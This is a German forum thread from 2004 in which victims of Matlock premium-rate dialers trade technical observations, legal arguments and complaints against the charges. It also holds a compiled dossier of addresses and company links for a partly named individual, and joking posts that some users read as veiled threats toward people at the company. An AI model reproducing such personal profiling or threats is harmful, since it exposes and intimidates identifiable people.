2. Die Dialer, die als rad????.EXE im Temp-Verzechnis landen, sind nicht registriert; sie starten sofort, falls der Aufrufer IEXPLORE.EXE heisst (kann durch Kopieren der CMD.EXE als IEXPLORE.EXE überlistet werden; Preisangabe: EUR 2/Min., nicht mehr EUR 29,99 pro Anwahl!).
==> nach Rechtsauffassung der RegTP keine Zahlungsverpflichtung
3. Vor dem 14.12.03 registrierte Dialer dürfen nicht mehr verwendet werden; am 17.12.03 registrierte Matlock-Dialer wurden unter Angabe eines falschen Hash-Wertes registriert; am 4.2.04 registrierte Dialer wurden unter Angabe einer falschen Versionsnummer registriert.
==> falsche Angaben bei der Registrierung: m. E. keine Zahlungsverpflichtung, zumal Versionsnummer und Hash-Wert Suchkriterien in der Internet-Datenbank der RegTP sind und somit das Auffinden der Dialer nicht möglich ist.
4. Für den automatischen Verbindungsaufbau nutzt der Dialer mehrere bekannte Sicherheitslücken von Windows; teilweise melden die Dialer sogar zurück, welche Sicherheitslücke erfolgreich benutzt wurde: eid=std, eid=hta, eid=java; teilweise wird die Datei WMPLAYER.EXE durch einen Dialer ersetzt, um den (nicht-registrierten) Dialer mittels einer Sicherheitslücke des Windows Media Players zu starten.
5. Es wurden mehrere Tricks gesichtet, damit die Anwahl auch ohne Eintippen von JA erfolgen kann: Eingabefelder, die mittels Java-Script ausgefüllt werden bzw. deren Inhalt beim Klick auf EINGANG nicht überprüft werden.
6. Die registrierten Matlock-Dialer für die Nummern 090090000421-470 sowie 090090000261-270 enthalten identischen Programmcode. Sie verletzen m. E. die Mindestanforderungen der Vfg. 54 in folgenden Punkten:
- Der Dialer verwendet eine Schrift, die 15 Pixel hoch ist. Bei der Einstellung "Große Schriftarten" (die ich auf meinem Computer normalerweise verwende), sind dies nur 9 Punkt [es sind gar nur 8 Punkt, wenn ich die physische Auflösung des Monitors (133 dpi) in den Anzeigeeigenschaften einstelle]. 15 Pixel ist weiterhin nicht die größte Schrift im Zustimmungsfenster. Die Schrift ist grau auf schwarz und auf manchen Bildröhrenmonitoren recht kontrastarm. Die Schrift ist teilweise schwarz auf dunkelgrau und sehr kontrastarm.
- Die im Programm verankerte Telefonnummer kann durch einen Kommandozeilenparameter überschrieben werden; dies wird auf Internet-Seiten der Firma Matlock auch verwendet.
- Der Dialer läßt sich ohne "explizite Zustimmung" aktivieren, sofern er mit der Kommandozeilenoption "-web" gestartet wird dies wird auf Internet-Seiten der Firma Matlock zur automatischen Einwahl ausgenutzt.
7. Die Dialer wurden mit einer nicht-freigegebenen UPX-Version (1.90) gepackt; mit UPX 1.90 gepackte Programme dürfen nicht verbreitet werden.

Punkt 7 zählt vor Gericht wohl nicht; keine Ahnung, wie ein Richter die anderen Punkte beurteilen wird.



			
				hrachka schrieb:
			
		

> ... und rechtliche Schritte vornehmen.


Wo denn? BRD, USA oder Belize?


----------



## hrachka (16 März 2004)

Wie wo?...klar dort, wo die Straftat begangen ist. Wir müssen Medien und Regierende darauf aufmerksam machen, denn es betrifft uns alle, egal was für Ergebnisse für jeden einzelnen von uns ergibt. Ich habe z.B. keine Mahnungen oder ähnliches erhalten von der DTAG, gar nichts, trotz allem nehme ich teil hier, hab meine "Beweise" gesichrt und werde gern beteiligen, wenn es dazu kommt. Es darf keiner von uns unter "Strafmassnahmen" von DTAG oder verbundenen mit ihr ...... leiden, denn es sonst keinen Sinn dieses Forum bringt. Einer für alle und alle für einer. Vor allem aber muss man seine "Beweise" sichern oder Profi Rat hier ersuchen, denn kein Widerspruch wird etwas errichen. Ich kann nicht und werde keine gerichtliche Schritte vornehmen, denn ich Gast im Lande bin. Ich werde aber jedem unterstützen, der bereit ist seine Rechte vorm Gericht oder einer Behörde zu gewehren. Heute sind Mattlock und Herr ....von Eggebeck, morgen werden andere kommen. Wozu ist der Staat da, wenn seine Bürger nicht schutzt. Wozu nennen sich die Bürger Bürger, wenn sie sich nicht als solche empfinden.

_*aus rechtlichen Gründen und persönliche Daten editiert ,
 siehe Nutzungsbestimmungen 
http://forum.computerbetrug.de/rules.php#7
http://forum.computerbetrug.de/rules.php#9
 tf/moderator*_


----------



## blumenwiese23 (16 März 2004)

hrachka schrieb:
			
		

> ich verliere langsam den Überblick leute. Wie wiet haben wir es gebracht ausser festzustellen dass WEB.EXE und andere ähnliche Dialer der Registrierung bei RegTP nicht entsprechen.
> 
> Sollen wir die Beweise nicht irgendwo sammeln und rechtliche Schritte vornehmen.


wie weit bist du denn mit der telekom? hast du du zahlung verweigert und dich auf einen der sieben punkte von eb-victim bezogen?
ich glaub, das ist das einzige, was man im moment machen kann. ich denke, die sache wird nicht vor gericht enden und setze auf die regtp, dass sie rückwirkend die registrierung entzieht.


----------



## blumenwiese23 (16 März 2004)

hab jetzt mal spybot laufen lassen:

Windows Media Player: Client ID (Registrierungsdatenbank-Änderung, nothing done)
  HKEY_USERS\S-1-5-20\Software\Microsoft\MediaPlayer\Player\Settings\Client ID=

Windows Media Player: Client ID (Registrierungsdatenbank-Änderung, nothing done)
  HKEY_USERS\S-1-5-19\Software\Microsoft\MediaPlayer\Player\Settings\Client ID=


handelt es sich bei oben genannten dateien um die besagten media-player veränderungen??


hab gerade bei der regtp in meschede angerufen. bei  mir besteht keine zahlungspflicht  .  jetzt nur mal bei der telekom anrufen und das denen klarmachen.
gruss
danke


----------



## sri (16 März 2004)

Auch mich hat's erwischt. Zum Glück habe ich noch ein externes analoges Modem, bei dem der Lautsprecher eingeschaltet war. Daher habe ich sofort gemerkt, dass das Modem wieder anfing zu wählen. Leider war ich nicht schnell genug mit dem Ausschalten, sodass mir eine Verbindung mit 090090000423 berechnet wurde (Dauer: 1 Sekunde, Betrag: € 29,95 brutto).

Ich habe erst einmal Einspruch bei der Telekom eingelegt und die Rechnung entsprechend gekürzt. Auch die Beschwerde an die RegTP ist raus. Mal sehen, was jetzt kommt.


----------



## galdikas (16 März 2004)

eb-victim schrieb:
			
		

> hrachka schrieb:
> 
> 
> 
> ...



Zunaechst waere zu klaeren, wer in welcher Form einen (vertraglichen Verguetungs-) Anspruch auf Zahlung eines Betrags in wodurch begruendeter Hoehe erworben haette. Derjenige haette dann alle Tatsachen zu beweisen, aus denen sich die behauptete Rechtsfolge "Zahlungsanspruch in Hoehe x" ergeben soll:


```
"Voraussetzung für das Entstehen eines Vergütungsanspruchs gegen die Beklagten ist das Zustandekommen eines Vertrages über die Nutzung von Mehrwertdiensten."
```

Das ist ungenau: denn der Inhalt des Mehrwertvertrags besteht in der Vereinbarung ueber die Erbringung bestimmter Dienste einerseits und die Verguetung der geleisteten Dienste andererseits. Der Mehrwertvertrag ist nicht erst auf die *Vermittlung* (des eigentlichen Vertrags ueber die Erbringung der gewuenschten Dienste) gerichtet.


```
"Ein Vertrag kommt durch übereinstimmende Willenserklärungen, durch ein Angebot und dessen Annahme zustande (Palandt/Heinrichs, BGB, 63. Auflage, Einf. v. § 145 Rdnr. 1, 4)."
```

Es genuegt nicht, dass die zwei uebereinstimmende Willensklaerungen vorliegen; sie muessen auch aufeinander bezogen sein. Ein Angebot von A an B kann nicht schon ohne weiteres durch eine Leistungserbringung  (irgend-)eines C angenommen werden und zu einem vertraglichen Verguetungsanspruch des C gegen A fuehren.


```
"Für das Vorliegen der erforderlichen übereinstimmenden Willenserklärungen trägt die Klägerin als Anspruchstellerin die Darlegungs-und Beweislast.

Die Klägerin hat hier lediglich pauschal vorgetragen, dass durch Anwahl der im Netz der Klägerin realisierten Mehrwertdienstenummern vom Teilnehmeranschluss der Beklagten gegenüber der Klägerin (wohl Firma T.) konkludent ein Angebot auf Abschluss der streitgegenständlichen Mehrwertdienstleistung abgegeben worden sei und dieses Angebot von der Klägerin (wohl Firma T.) konkludent dadurch angenommen worden sei, dass sie jeweils über ihre Vermittlungseinrichtung eine Verbindung mit dem streitgegenständlichen Mehrwertdienst hergestellt habe."
```
Das ist ungenau:

Es ist nicht die Schliessung eines Vertrags ueber die Vermittlung (einer Gelegenheit zum Abschluss eines Vertrags ueber die Erbringung der in Rede stehenden Dienste) darzulegen, sondern der Abschluss eines Vertrags zwischen dem letztlichen Dienste-Erbringer und demjenigen, demgegenueber die Erbringung dieser Dienste angeboten wurde. Von diesem ist der Nachweis zu erbringen, dass bzw. weshalb aus seiner massgeblichen Perspektive anhand der fuer und von ihm erkennbaren Umstaende der Anwahlvorgang von ihm (d.h. dem Mehrwert-Dienste-Erbringer) als ein ihm geltender Antrag - eines ueber den TK-Anschluss verbundenen Rechnerbenutzers - aufgefasst werden durfte, das Zustandekommen einer Vereinbarung (ueber die  Erbringung der Dienste zu bestimmten Bedingungen gegen eine bestimmte Verguetung) bewirken zu koennen.

Zur Beurteilung des (Nicht-)Zustandekommens eines solchen Mehrwert-Vertragsschlusses kann der (angebliche) Bedeutungsgehalt eines Einwahlvorgangs (als auf einen Vertragsschluss ueber die Erbringung von Mehrwertdiensten gerichtete Willenserklaerung) aber nicht aus der bodennahen Perspektive des technischen Verbindungs-Dienstleisters danach beurteilt werden, ob sich fuer ihn als Verbindungsnetzbetreiber eine Netzeinwahl als (ihm geltender, stillschweigender) Auftrag zur Erbringung der (der Mehrwert-Dienste-Erbringung zugrunde liegenden) rein technischen Leistung der Herstellung und Aufrechterhaltung der blossen Telekommunikationsverbindung darstellt.

Die Bedeutung eines Dialer-veranlassten Einwahlvorgangs ist aber aus Sicht desjenigen zu beurteilen, der ihn durch seine vorausgegangene Dialer-Zusendung ausgeloest hat und ihn nun als auf "sich" bezogenen Antrag des Rechnernutzers verstehen will. Die Perspektive eines Verbindungsnetzbetreibers verbietet sich naemlich bei der Frage, welches Verstaendnis der Dienste-Erbringer dem Eintreffen eines Anrufs bei *sich* beimessen darf (der (Verbindungs-)Netzbetreiber muss das sein (Verbindungs-)Netz erreichende Einwahl-Signal anders verstehen, als der Dienste-Erbringer den Zugang des (an seinen Anschluss weitergeleiteten) Anrufsignals auf seinem -eventuell sogar frei tarifierbaren- Mehrwert-Anschluss).

D.h.

Es reicht nicht zum Nachweis eines Mehrwertvertrags-Schluss, wenn der Verbindungs-Netzbetreiber vortraegt, weshalb sein Vertrauen auf eine mit der blossen Einwahl bewusst gewollte Verbindungsherstellungs-Beauftragung (solange) gerechtfertigt sei (solange er keinen Argwohn schoepfen muesse). 

Vielmehr muss der Mehrwert-Diensteanbieter als vermeintlicher Vertragspartner und somit vorgeblich Verguetungsanspruchsberechtigter saemtliche Umstaende darlegen, unter denen angesichts seiner Dialerverwendung bei einem ihn vom Dialer-Rechner aus erreichenden Anruf-Signal sein Vertrauen gerechtfertigt sein soll, darin eine ihm geltende, bewusst gewollte Bestellung seiner Mehrwert-Dienste erkennen zu duerfen.

Und einen solchen Vertrauensvorschuss wird er wohl kaum damit rechtfertigen koennen, dass er oder ein Dritter bei der RegTP ungepruefte Angaben hat registrieren lassen, oder dass er sich "freiwillig" sich selbst(!) gegenueber zur Einhaltung gesetzlicher Vorschriften verpflichtet haette.... 

Zitate stammen aus dem
Urteil des AG Crailsheim vom 27.02.2004 - Az.: 4 C 554/03 
http://www.dialerundrecht.de/Entscheidungen/agcrailsheim27022004.htm 


			
				eb-victim schrieb:
			
		

> hrachka schrieb:
> 
> 
> 
> ...



Die Verantworlichen der

Matlock Business Corp. 
Jasmine Court 
35A Regent Street 
P.O. Box 1777 
Belize City 
Belize

sind viel weniger weit entfernt, als es scheinen mag...

Uebrigens haben unter dieser Adresse nicht nur zahlreiche (Briefkasten-)Firmen ihren Sitz, sondern (neben einem Firmengruendungs-Buero mit illustrem Chef) auch ein Vermittler (inzwischen illegaler) Pass-Verkaufsangebote, der auch mehrere Monate nach dem Verbot noch "versehentlich" weiterhin Paesse im Angebot hatte:

"How is it that the website KPMG Belize is still advertising passport sales, more than six months after such sales became illegal? KPMG's boss Stanley .... told us "it should have been removed" ... contacts in the Caribbean tell us ... that it is well known in offshore circles that KPMG Belize is the place to go for a passport." 

(Quelle: Ann-Marie Williams, News 5, zitiert nach 
http://belize.centramerica.com/noticias/detalle.asp?Id=282 )

gal.


----------



## klatsche (16 März 2004)

*Dialermaffia aus Eggebeck*

Bin auch am 23.02. der 090090000423 zum Opfer gefallen und habe sofort
nach Rechnungserhalt von der t-Com einen Einwand auf die Verbindung des PRS erhoben.(20sec./25,819netto)
Ich habe lediglich den unstrittigen Betrag überwiesen (weiß schon warum
ich den Vögeln keine Einzugsermächtigung gebe)  

4 Tage später hatte ich sogar zumindest schon ein schreiben der t-com
das mei Einspruch eingegangen ist und überprüft wird. -mal abwarten-

Dummerweise hatte ich den Dialer diesmal nicht gesichert da ich schon sehr viele davon auf meinem Rechner hatte und bisher immer rechtzeitig den Stecker ziehen konnte. 
Diesmal war die linke Bazille schneller.

Ich bin gestern zufällig auf dieses äusserst interessante und amüsante
Forum gestoßen und habe über den Tag und Abend bestimmt 10 Stunden
darin verbracht  (besser als jede/r  Komödie oder Krimi).

Der Anlaß ist jedoch seeeeehr traurig.

Habe bei meinem Besuch gestern sehr viel interessanten INPUT in mich
aufgesaugt, war aber wahrscheinlich etwas zuviel bin nämlich mittlerweile
völligst verwirrt???

Für mich bleiben im Moment noch 2 Fragen offen, ich hoffe mir kann da 
jemand weiterhelfen.

-reicht es wie in meinem Fall geschehen aus, den Einspruch nur per ge-
 faxten EVN mit Einrahmung der 0900er Position.(denke schon,die haben
 mir ja den Eingang meines Einwands schriftl. bestätigt.)

-Wenn sich herausstellt das diese Dialergruppe ...-423 nicht rechtskonform
 ist, was nach vielen Aussagen im Forum sehr naheliegt.
 Dürfe das mit nicht gemachten Dialersichrungskopie eigentlich auch kein
 Problem sein.???

 Ach ja , muß heute unbedingt noch bei der regTP eine Beschwerde  ein-
 reichen.


gruß

Klatsche


----------



## blumenwiese23 (16 März 2004)

*Re: Dialermaffia aus Eggebeck*



			
				klatsche schrieb:
			
		

> -Wenn sich herausstellt das diese Dialergruppe ...-423 nicht rechtskonform
> ist, was nach vielen Aussagen im Forum sehr naheliegt.
> Dürfe das mit nicht gemachten Dialersichrungskopie eigentlich auch kein
> Problem sein.???



 ich habe auch die ...423 auf meinem evn. die regtp suchmaschine spuckt drei endnummern mit drei versionen und den jeweiligen registrierdaten aus. das problem ist, man kann nicht nachvollziehen, welche nummer es war, oder ob es noch mehr nicht-registrierte nummern gibt. die zwei ersten versionen sind sicher nicht rechtskonform, da der hash-wert nicht stimmt. die version vom 04.02 hat einen registrierfähigen hash-wert, ist also auch rechtskonform registriert. auch das selbst-termenieren der dialer ist erlaubt. 
ich hab auch keine dialer gesichert. hab aber heut von der regtp grünes licht bekommen, dass bei mir kein zahlungsanspruch gegn. der telekom existiert. (das hab ich auch der telekom geschrieben. hoffe die begreifen das auch). meine einwahlen waren allerdings auch schon im januar.

gruss


----------



## cicojaka (16 März 2004)

galdikas schrieb:
			
		

> Die Verantworlichen der
> 
> Matlock Business Corp.
> Jasmine Court
> ...




Wobei die Verantwortlichen DORT auch nicht schlecht sind 

Öl, Öl, Öl, am falschen Ort
punkt-punkt-punkt wischt Spuren fort...
Nette Firma, weit weit weg,
zahlte manchen Leuna-Scheck????

(Quelle:  Schweizer Wochenzeitung ) 

etwas off(shore) topic...


----------



## klatsche (16 März 2004)

Vielleicht sollte man ja mal in anbetracht des schönen Wetters (zumindest
in Hessen,wenn ich  grad mal so aus dem Fenster schaue) auf dem Firmen
Parplatz in Eggebeck mal ein Barbecue veranstalten zum dem der 
"ehrenwerte" Herr Jens M... auch rechtherzlich eingeladen ist. um sich
mal, von den Kosten abgesehen auch für die viele ARBEIT die er uns beschert
zu bedanken(in anbetracht der hohen ARBEITSLOSIGKEIT in diesem Lande müssten wir IHM eigentlich DANKBAR sein  oder????   :wall:


----------



## TSCoreNinja (16 März 2004)

*Matlock ganz nah*

Auch auf die Gefahr eines Schnellschusses. Kann hier jemand tschechisch? Bitte mal http://www.fin.cz/nazory/default.asp?A=P&T=739&PR=100660 anschauen und zusammenfassen. 

Stichworte: Belize, Kaiman Islands, off-shore, investment. 
Gruesse,
TSCoreNinja


----------



## eb-victim (16 März 2004)

galdikas schrieb:
			
		

> Die Verantwortlichen der
> 
> Matlock Business Corp.
> 
> sind viel weniger weit entfernt, als es scheinen mag...


Das glaube ich auch.

Frage an die Juristen: Kann man einen Strafantrag überall stellen? Oder nur am Wohnort?
In Bonn geht das jetzt über das Internet - wir könnten also alle an einem noch zu bestimmenden Tag Strafantrag gegen unbekannt stellen ...


----------



## Anonymous (16 März 2004)

klatsche schrieb:
			
		

> Vielleicht sollte man ja mal in anbetracht des schönen Wetters (zumindest
> in Hessen,wenn ich  grad mal so aus dem Fenster schaue) auf dem Firmen
> Parplatz in Eggebeck mal ein Barbecue veranstalten zum dem der
> "ehrenwerte" Herr Jens M... auch rechtherzlich eingeladen ist. um sich
> ...



Nur weiter so, ... so langsam lassen die meisten ja Ihre Masken fallen und zeigen Ihr wahres Gesicht, schade nur das sowas hier geduldet wird von den Forenbetreibern, eine Schande ist das.


----------



## hrachka (16 März 2004)

klatsche schrieb:
			
		

> Vielleicht sollte man ja mal in anbetracht des schönen Wetters (zumindest
> in Hessen,wenn ich  grad mal so aus dem Fenster schaue) auf dem Firmen
> Parplatz in Eggebeck mal ein Barbecue veranstalten zum dem der
> "ehrenwerte" Herr Jens M... auch rechtherzlich eingeladen ist. um sich
> ...



warum den nicht? Gute Idee


----------



## TSCoreNinja (16 März 2004)

*Matlock Business Cooperations*

Hi all,

hab fuer heute die Schnauze voll. Was hab ich gefunden?
Es gibt eine Matlock Filiale in LA, dort kommt der Dialerhashwert her, z.B. fuer 09009000422, ebenso die Wirkungsweiseund die  Version


			
				Whois von matlock-bc.com schrieb:
			
		

> Matlock Business Corp.
> OBF        ([email protected])
> Matlock Business Corp., 8391 Beverly Blvd., Pmb. 700
> Los Angeles
> ...



Laut Webseite vonIntermedex Holding teilen die Adresse und Briefkasten, bzw Private Mail Box mit Matlock LA. Neben der interessanten Firma (Pharmazulassung durch Tests in Usbekistan  ) findet sich zu ihrem Managing Director sehr interessantes bei Google, wenn man den vollen Namen als Phrase bei Google sucht.
Eine  Allroundfirma NEW TECHNOLOGY CENTER LIMITED, eine Investmentfirma in England , eine tschechische Investmentfirma Apollon. Interessant scheint die tschechische Presse auf Apollon zu reagieren. 
Der hier befindliche Tyden Artikel sowie die Finanzseiten von Aliaweb enthalten so ziemlich alle Schluesselwoerter, die man sich passend denken kann, z.B. Belize, Drogenmafia (Kolumbien) Russenmafia etc. Auch KPMG, siehe Galdikas Posting, wobei die scheinbar ihre Investments abgeschrieben haben, wenn ich das richtig verstehe. Wobei ich mein Verstaendnis den Translation Experts zu verdanken habe. Fraglich bleibt die Verbindung nach Deutschland. GBI The Content Machine liefert auf den Namen eine 
Hilton Communications ltd. Hinweise auf die Firma deuten z.B. Richtung  Hessen oder aber nach www.hilton-com.com/impressum.html+site:hilton-com.com+impressum&hl=en&ie=UTF-8]Berlin [/url]. Allerdings ist diese Firma anscheinend tot. Berliner 01805 ist abegeschaltet. Und laut GBI gibts im Ausland etliche Firmenhits auf den Namen der Managing Directors, so dass eine Suche evt muehsam wird, ebenso www.eta.lu . 

Zu simpel? Gibts diesen Mann tatsaechlich, oder ist es ein Phantom? Nun ja, vielleicht findet ja jemand noch etwas mehr heraus.
Gruesse,
TSCoreNinja



PS: hab ein Video fuer eine vollautomatische Einwahl der Nummer 0900-9000422, dass ich einem Betroffenen schicken kann. Vielleicht sollte jemand mal wie Mitglieder Katzenhai und Der Jurist eine negative Feststellungsklage anstreben....
PPS: wer einen Doktortitel haben will, sollte es mal mit der American Univerity of Business Administration versuchen  :lol: Haben einen kompetenten Rector :lol: Auch Webhosting bei www.abzmedia.com ist laut www.abzmedia.net ein tolles Geschaeft. Die Sache ist extrem seltsam....


----------



## hrachka (16 März 2004)

hat zwar kein Tschechisch, aber wenn jemandem behilflich wird, na dann bitte schön

http://www.online-translator.com/text.asp#tr_form


----------



## Anonymous (16 März 2004)

hrachka schrieb:
			
		

> klatsche schrieb:
> 
> 
> 
> ...



warum ? weil selbst ich als Betroffener mich mittlerweile fragen muss, auf welcher Seite sich iegentlich die Kriminellen stehen...hab hier ja leider schon einiges lesen müssen, von Bomben auf Eggebeck usw...

Wenn das mein Forum wäre würde ich hier mal durchkehren und aufräumen.


----------



## JWiedel (16 März 2004)

*Strananzeige*



			
				eb-victim schrieb:
			
		

> galdikas schrieb:
> 
> 
> 
> ...



Alles kein Problem:
Strafanzeige kannst du bei jeder Polizeidienststelle und / oder jeder  Staatsanwaltschaft erstatten. Die Behörden leiten die Anzeigen intern zur richtigen Stelle. Bitte immer Einzelverbindungsnachweis mitbringen und PC zur Datenauswertung zur Verfügung stellen. Vorher bitte kein SpyBot o.ä. drüber lauufen lassen!
 :lol:


----------



## jupp11 (16 März 2004)

Der total anonyme Stänkerer schrieb:
			
		

> hrachka schrieb:
> 
> 
> 
> ...



Etwas Nachhilfe in Denglisch: Barbecue ist ein Grillfest und Bomben gibts da nur als Eisbomben.

Also informier dich erst mal im Lexikon , bevor du hier so rumnölst, und wenn du was konkretes
 hast , dann zitier das und verbreite keine Stammtischparolen.

Jupp


----------



## Ernst-Helmut (16 März 2004)

*Stammtischparolen*

Hallo Moderators, was habt Ihr eigentlich für Möglichkeiten, auf Sachlichkeit hinzuwirken???
1 Bitte an alle Beteiligten: keine Stammtischparolen! Oder, wenn´s sein muss: wie wärs mit dem Forum "Off-Topics"?
Ernst-Helmut


----------



## Heiko (16 März 2004)

Wir sind durchaus bemüht auf Sachlichkeit hinzuwirken.
Wenn sich hier aber jemand als Troll outen will, dann wollen wir dem nicht im Weg stehen


----------



## cicojaka (16 März 2004)

Ich versuche mir mal vorzustellen, der Herr Matlock würde sich gerne online seine Verdienste in Eggebek anschauen wollen. Er geht auf die Seite der Easybiller, geht auf Kunden-Login, starrt auf die Anmeldemaske und hat leider seine Logindaten vergessen.

Und da starrt er und starrt und starrt...

...und staunt!!!

und da ich nicht der Herr Matlock bin, habe ich glücklicherweise ein MVV-Ticket 

***********
25 min später

Schade eigentlich, aber die Firma, die das Kundenlogin von EB managt, ist ja sowas von langweilig... Da lohnt nicht einmal ein Briefkastenbesuch ...


----------



## Qoppa (16 März 2004)

@ eb-victim

was Du stellen solltest, ist eine *Strafanzeige* (Strafantrag muß zusätzlich gestellt werden nur bei solchen Delikten, die nicht von Amts wegen verfolgt werden, - was hier, Betrug etc., wohl nicht vorliegt).

Von Strafanzeige per Internet wurde hier einmal abgeraten, da das, obwohl zulässig, keinen so guten "Eindruck" macht .... Und das ist wohl das Wichtigste: daß es gut und glaubwürdig präsentiert wird. Dazu gehört vor allem a) den "Anfangsverdacht" möglichst klar und nachvollziehbar darstellen, b) darauf verweisen, daß an der Ermittlung ein öffentliches Interesse besteht. - Ich glaube, daß das umfangreiche Material, das Du gesammelt hast, hier eine gute Grundlage darstellt.

PS: @ TSCoreNinja
ich glaube Du meinst nicht neg. Feststellungsklage (das kann nur jeder für den eigenen zivilrechtlichen Fall machen, und das haben die beiden ja schon), - sondern auch die Strafanzeige, - und da könnte das Video tatsächlich ein guter Beleg sein!


----------



## TSCoreNinja (16 März 2004)

cj schrieb:
			
		

> Schade eigentlich, aber die Firma, die das Kundenlogin von EB managt, ist ja sowas von langweilig... Da lohnt nicht einmal ein Briefkastenbesuch ...


Findest Du? www.gbi.de sagt anderes. Suche mal in der Schnellsuche nach derem vollen Namen


> 9.11.03 	 Deutsche Telekom AG
> Jahresabschluss: 2002
> Bundesanzeiger Jahresabschlüsse, Bilanzen; 32000 Worte; 18.00 EUR



Ob da wohl eine Beteiligung der DT drin ist?


----------



## TSCoreNinja (16 März 2004)

Qoppa schrieb:
			
		

> ich glaube Du meinst nicht neg. Feststellungsklage (das kann nur jeder für den eigenen zivilrechtlichen Fall machen, und das haben die beiden ja schon), - sondern auch die Strafanzeige, - und da könnte das Video tatsächlich ein guter Beleg sein!


Nein, zumindest nicht nur! Wenn ein Jurist eine negative Feststellungsklage gegen die Forderungen zivilrechtlich durchkaempft, hat der rosa Riese bei den anderen Opfern Argumentationsprobleme!


----------



## cicojaka (16 März 2004)

TSCoreNinja schrieb:
			
		

> cj schrieb:
> 
> 
> 
> ...



Ich wollte ja nur mal ein kleines Winkchen in diese Richtung hier positioniert haben... Vernetzungen zu finden, das traue ich mir zu, nur mit der Bewertung liege ich wohl schon seit knapp 300 Beiträgen auf ewig-rookie-level


----------



## galdikas (16 März 2004)

*Re: Matlock Business Cooperations*



			
				TSCoreNinja schrieb:
			
		

> Intermedex Holding - Managing Director - Gibts diesen Mann tatsaechlich, oder ist es ein Phantom?



Er gibt bzw. gab jedenfalls verschiedene Adressen und Staatsangehoerigkeiten an: 

- Florinis Street 8, apartm. 15, Nicosia - 1065, Cypern
- des USA, à Nicosie, CYP  ( = US-Buerger, wohnhaft in Nikosia, Zypern)
- cittadino britannico, in Nicosia (Cipro) 
- de Grande-Bretagne, à Sark (Channel Islands), GBR 
- consultant, demeurant a Appartement no. 15, Cleopatra Hotel,8,Florinis Street, Nicosia 1065, Chypre

Beteiligt ist bzw. war er u.a. an folgenden Gesellschaften:

*CREA INVEST ApS*  ( Selskabsregistreringer )

*INSKIP LLC*, Albany, succursale de Genève  
http://rc.geneve.ch/rc/consultation/consultationcomplete.asp?no_dossier_fed=CH-660-0193002-3

Siege  pricipal: Albany, USA
Department of State de l'Etat de New York, USA, sous le n°200109250394 51
D. M. P., des USA, à Nicosie, CYP adm.   
................, des USA, à Nicosie, CYP adm.   
................, de Genève, à Confignon dir. succursale signature individuelle  

*MEGAFISH LIMITED*, Londra, succursale di Lugano
http://www.hrati.ch/cgi-bin/fnrGet.cgi?fnr=5149025337&amt=514&lang=1&hrg_opt=11000&shab=0000000

DMP, cittadino britannico, in Nicosia (Cipro) einziges Mitglied  
................, cittadino italiano, in Lugano Direktor der Zweigniederlassung Einzelunterschrift 
................, da Manno, in Ponte Capriasca Direktor der Zweigniederlassung 

*Optimum Developments Limited*, Londres, succursale de Genève 
http://rc.geneve.ch/rc/consultation/consultationcomplete.asp?no_dossier_fed=CH-660-0278999-5

DMP., de Grande-Bretagne, à Sark Channel Islands, GBR adm.   
....................., de Peseux, à Genève dir. succursale signature individuelle + 

*BIG STONE - MARBLE, GRANITE & EQUIPMENTS LIMITED*, Londra, Succursale di Lugano
http://www.hrati.ch/cgi-bin/fnrGet.cgi?fnr=5149014980&amt=514&lang=1&hrg_opt=11000&shab=0000000

DMP, cittadino britannico, in Sark (Channel Islands) amministratore  
....................., cittadina italiana, in Lugano rappresentante della succursale Einzelunterschrift 

*Finfoil L.L.C., New York*, USA, Succursale di Lugano
http://www.hrati.ch/cgi-bin/fnrGet.cgi?fnr=5149009368&amt=514&lang=1&hrg_opt=11000&shab=0000000

ex****...................., cittadino britannico, in Le Friquet (Sark, Channel Islands) amministratore  
ex****......................, cittadina britannica, in Le Friquet (Sark, Channel Islands) amministratrice  
......................, da Thalwil e Malvaglia, in Massagno direttrice della succursale Einzelunterschrift 
......................, cittadino britannico, in Nicosia (Cipro) Mitglied  
DMP, cittadino britannico, in Nicosia (Cipro) Mitglied

gal.


----------



## klatsche (17 März 2004)

Anonymous schrieb:
			
		

> hrachka schrieb:
> 
> 
> 
> ...



Hey du GAST

Die Wörter "Ironie" und "Joke" sind wahrscheinlich Fremdwörter für DICH

Und fall DU in meinem Posting kriminelle Tendenzen siehst ist das dein
Problem.
Ich dachte da eigentlich da eigentlich mehr an ein Barbecue mit Steaks und Bier ... :holy:


----------



## BenTigger (17 März 2004)

klatsche schrieb:
			
		

> Und fall DU in meinem Posting kriminelle Tendenzen siehst ist das dein
> Problem.
> Ich dachte da eigentlich da eigentlich mehr an ein Barbecue mit Steaks und Bier ... :holy:



Hmmm du solltest zur Sicherheit aber noch schreiben, was für Steaks das sind, nicht das noch jemand denkt, du willst Ripsteaks von einem bestimmten Herren nutzen  :holy:    :lol:


----------



## klatsche (17 März 2004)

*Re: Stammtischparolen*



			
				Ernst-Helmut schrieb:
			
		

> Hallo Moderators, was habt Ihr eigentlich für Möglichkeiten, auf Sachlichkeit hinzuwirken???
> 1 Bitte an alle Beteiligten: keine Stammtischparolen! Oder, wenn´s sein muss: wie wärs mit dem Forum "Off-Topics"?
> Ernst-Helmut



High Ernst Helmut,

vestehst wohl kein Spass ????

@ Ben Tigger

Ich meine natürlich die guten T-Bone Steaks vom Ald.... 

aber zur Not tut`s auch Fisch.(gibts ja genug da oben im Norden) :splat:

gruß
Klatsche


----------



## technofreak (17 März 2004)

nachdem hier ausführlich über die verschiedenen Möglichkeiten von Gartenfesten geplaudert wurde 
bitte ich die Beteiligten wieder zum Thema des Threads zurückzukehren. Für die Betroffenen
 ist das Ganze weniger lustig

tf


----------



## Ernst-Helmut (17 März 2004)

*Ironie, Jokes, Stammtischparolen, Barbecues, Fishbones, ...*

Technofreak: DANKE!!!
Es ist mittlerweile wirklich mühsam, Inhalte vom allgemeinen Unterhaltungsprogramm zu sortieren, wir haben jetzt 33 Seiten. Alle konstruktiven & anscheinend fundierten juristischen und IT-Infos zu erfassen, benötigt täglich schon ausreichend Zeitbedarf, also noch1mal die Bitte an alle Beteiligten & Betroffenen & Wissenden: Fakten, Fakten, ...
Schönen Dank
Ernst-Helmut



			
				technofreak schrieb:
			
		

> nachdem hier ausführlich über die verschiedenen Möglichkeiten von Gartenfesten geplaudert wurde
> bitte ich die Beteiligten wieder zum Thema des Threads zurückzukehren. Für die Betroffenen
> ist das Ganze weniger lustig
> 
> tf


----------



## Ernst-Helmut (17 März 2004)

*Bestandsaufnahme&Termine: 8 Wochen Einspruchsfrist bei D*

Huhu Ihr alle:

Wie wärs mit einer zusammenfassenden Bestandsaufnahme?

z.B.:

Anzahl Betroffene
Höhe der durch Matlock abgezockten Beträge
